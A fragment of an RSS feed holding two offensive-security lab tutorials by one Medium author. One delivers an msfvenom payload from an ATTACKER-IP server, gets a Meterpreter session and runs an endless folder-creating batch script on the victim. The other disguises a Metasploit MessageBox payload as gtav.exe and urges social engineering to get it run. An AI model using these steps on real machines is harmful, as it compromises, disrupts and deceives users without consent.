src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12147be2408b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating Unlimited Random Number of Folders on a Windows Machine to fool the victim]]></title>
            <link>https://medium.com/@sayoojs2005/creating-unlimited-random-number-of-folders-on-a-windows-machine-to-fool-the-victim-b2b2a55576e6?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2b2a55576e6</guid>
            <category><![CDATA[bat-file]]></category>
            <category><![CDATA[fun-hack]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Wed, 27 May 2026 15:13:41 GMT</pubDate>
            <atom:updated>2026-05-27T17:01:08.413Z</atom:updated>
            <content:encoded><![CDATA[<h3>Creating Random Number of Folders on a Windows Machine to fool the victim</h3><p>In this tutorial, we will create a simple batch script that continuously generates random folders on a Windows machine. Then we will upload and execute it on a Windows 7 virtual machine using a Meterpreter session in a controlled lab environment.</p><h3>Step 1: Create the Batch Script</h3><p>Create a file named folder.bat and add this 4 lines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-LInIREXH3JnNMNwK-fig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INOQfUa7JbwLbs7lDVexwQ.png" /></figure><ul><li>md %random% → Creates a folder with a random number name</li><li>goto loop → Repeats the process infinitely</li></ul><p>This will continuously generate folders in the current directory.</p><h3>Step 2: Generate a Windows Payload Using msfvenom and Starting a Python Server</h3><p>Open terminal and generate a payload using msfvenom then Host the payload file using Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKvMt55R0yQKw789PgPFXQ.png" /></figure><h3>Step 3: Download the Payload on the Windows 7 Machine</h3><p>On the victim Windows 7 machine, open browser and visit <a href="http://attacker-ip:8000/">http://ATTACKER-IP:8</a>888 then download the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5l7ynFzcSrTmH2UcFBg0w.png" /></figure><p>You can use any social engineering here.</p><h3>Step 4: Start the Metasploit Listener</h3><p>Open Metasploit Framework and configure the listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNtck45cfBwKtm66MQtSTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iS-YOEAu-NRCQwp2uuWB_A.png" /></figure><h3>Step 5: Execute the Payload</h3><p>Run the payload executable on the Windows 7 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*olhooXNQqVWBGmHvo4IPnA.png" /></figure><p>If successful, a Meterpreter session will open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCJyf-ZMCmmafweHMMCXAg.png" /></figure><h3>Step 6: Upload the Batch File</h3><p>Inside Meterpreter, upload the batch script using command <strong>upload</strong></p><p>then switch from <strong>meterpreter shell</strong> to <strong>command shell </strong>using <strong>shell</strong></p><p>List the directory contents using <strong>dir</strong> command</p><p>Run the batch file<strong> folder.bat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJthhVDMeuR9qlWMGs5Xvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACKyD-jRD9zL1-XTdpHlGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKHlDAqpyb9OWaj2NeEEdg.png" /></figure><p>The script will start creating unlimited folders with random names in the current directory.</p><p>After execution, the Downloads directory on the Windows 7 machine will rapidly fill with randomly named folders generated continuously by the batch script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwuTPE1ZhyEs_UR9R62-KA.png" /><figcaption>Before running bat file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZHhaeLyYb5MPHmGoBjpsA.png" /><figcaption>After running bat file</figcaption></figure><h3>Conclusion</h3><p>This tutorial demonstrates how simple Windows batch scripting combined with Meterpreter file upload functionality can automate repetitive actions in a lab environment. Always perform such demonstrations only on systems you own or have explicit permission to test.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2b2a55576e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Fake Message Popup Payload Using Metasploit]]></title>
            <link>https://medium.com/@sayoojs2005/creating-a-fake-message-popup-payload-using-metasploit-cd77948e99ff?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd77948e99ff</guid>
            <category><![CDATA[metasloit]]></category>
            <category><![CDATA[popups]]></category>
            <category><![CDATA[msfconsole]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Tue, 26 May 2026 09:05:50 GMT</pubDate>
            <atom:updated>2026-05-27T17:03:30.325Z</atom:updated>
            <content:encoded><![CDATA[<h3>Creating a Message Popup Payload Using Metasploit</h3><p>we will create a simple Windows executable that displays a custom message box when the victim executes the file. This can be used for demonstration or social engineering awareness testing in authorized lab environments.</p><h3>Step 1: Open msfconsole</h3><p>Start Metasploit Framework</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0dTu_tJlXi5uTTu7MXfLw.png" /></figure><h3>Step 2: Use the MessageBox Payload Module</h3><p>Load the Windows MessageBox payload module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mp49nwLgi4nHTu5FD8JUsA.png" /></figure><h3>Step 3: Configure the Message,Generate the Payload</h3><p>Set the message text that will appear in the popup and title of the popup window.</p><p>generate payload using <strong>generate -f exe -o path/gtav.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CXzjScDcp_1TjPE9ADc6tA.png" /></figure><p>After running the command, the payload executable will be created in the current directory.</p><h3>Step 4: Start a Python HTTP Server</h3><p>To transfer the file to the victim machine, start a simple Python web server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTAZPzdqpuaQV2XzAaeVaQ.png" /></figure><p>This will host the payload file on port 8888.</p><h3>Step 5: Download the File on the Victim Machine</h3><p>On the victim machine, open a browser and visit <a href="http://attacker-ip:8000/">http://ATTACKER-IP:</a>8888</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JbPogfWjD424Td9oBFUaA.png" /></figure><p>You can use any social engineering technique to convince the target to execute the file.</p><h3>Step 6: Execute the Payload</h3><p>Once the victim runs the executable, a message box popup will appear with the custom title and message configured earlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*k0_RVVxI6cvSR1VA-e64XQ.png" /></figure><p>This demonstrates how Metasploit can generate simple payloads for awareness testing and social engineering demonstrations. Always perform such activities only in authorized lab environments or with proper permission.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd77948e99ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>